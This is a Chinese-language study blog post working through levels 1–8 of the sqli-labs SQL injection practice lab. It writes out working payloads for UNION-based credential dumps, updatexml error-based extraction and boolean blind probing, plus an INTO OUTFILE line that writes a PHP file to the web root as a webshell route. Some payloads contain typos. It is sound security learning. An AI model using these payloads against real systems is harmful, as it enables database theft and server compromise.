sql注入学习第一天

sqllab less-1复现

复现之前进行环境搭建,在setup这步失败,原因是ubuntu下MySQL密码没有设置,设置后对配置文件进行修改

环境搭建完成

less-1

思路分析

用户get传参可控,则?id=1

加单引号

 逃脱单双引号控制,闭合单引号,他们都是成对出现,我们一个单引号会报错,另外一个单引号需要再次闭合或者注释,--+ #等进行注释,(#会进行编码=%23),进行注释

 进行联合查询,需要列数一致,所以使用order by 进行列数查询

?id=1'order by 3--+

 

可以看出为3列,多了会报错

然后让第一个表为空,显示回显前端的列,插入一个不知道的id-1,得到为第二个和第三个,所以修改2和3的值

 修改为?id=-1'union select1,user(),database()--+,获得用户权限和当前数据库

现在知道了库名,最后的目的是注入管理员账号密码,上传webshell,所以先要管理员表表名与列名,MySQL自带的三个库

 information_schema里面为信息库,包含数据库各种用户信息

查询到表名

列名

成功获取

?id=-1' union select 1,group_concat(username),group_concat(password) from users--+

less-2

无单双引号无过滤,数字型漏洞

 order by 3--+确定字段个数

通过?id=-1 select1,2,databases()--+确定数据库名

表名列名与less-1一致

?id=-1  union select 1,2,group_concat(username,password) from users--+

less-3

3与1和2类似

 

 单引号加括号的字符型注入

?id=1‘)--+

 ?id=1’)order by 3--+确定字段

by 4报错

判断回显位置

?id=1') union select 1,2,3--+

获取数据库名

?id=1') union select 1,2,database()--+

 获取数据库表名

?id=-1')  union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

 获取字段名

?id=-1')  union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

获取数据

?id=-1‘) union select 1,2,group_concat(username,password) from users--+

less-4

?id=1'

?id=1')

 ?id=1"

双引号字符型注入

剩余步骤与上面相同

?id=-1 ") union select 1,2,group_concat(username,password) from users--+

less-5

?id=1'报错

 其余显示

无回显,尝试报错注入

 获取到数据库名

?id=1' and  updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

 获取数据表名

?id=1' and  updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)--+

获取字段

?id=-1' and    updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)--+

获取数据

?id=-1' and    updatexml(1,concat(0x7e,(select group_concat(password) from users),0x7e),1)--+

 

 只能截取32位,使用substr函数截取后面位数

less-6

双引号闭合,如上

? id=1"and  updatexml(1,concat(0x7e,(select group_concat(password) from users),0x7e),1)--+

less-7

?id=1 ')) union select 1,2,"<?php phpinfo();"into outfile"/usr/local/nginx/sqllab/web.php";--+

需要满足三个条件

mysql用户权限为root

知道网站的物理路径

/usr/local/nginx/sqllabs/less-7

secure_file_priv不能有值

常见提问MySQL如何上传webshell

使用outfile函数且满足上面三个条件

less-8

?id=1' and ascii(substr(database(),1,1,))=115--+

=115or >114来反映第一字段是多少

?id=1' and ascii(substr(database(),2,1,))=115--+

循环法

二分 法

总结

sql注入基本步骤

第一步:注入点测试

第二步:查询字段数

第三步:判断回显位

第四步:查询数据库的基本信息

第五步:爆数据库名

第六步:爆数据库表名

第七步:爆字段名

第八步:爆数据

字符型数字型判断

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值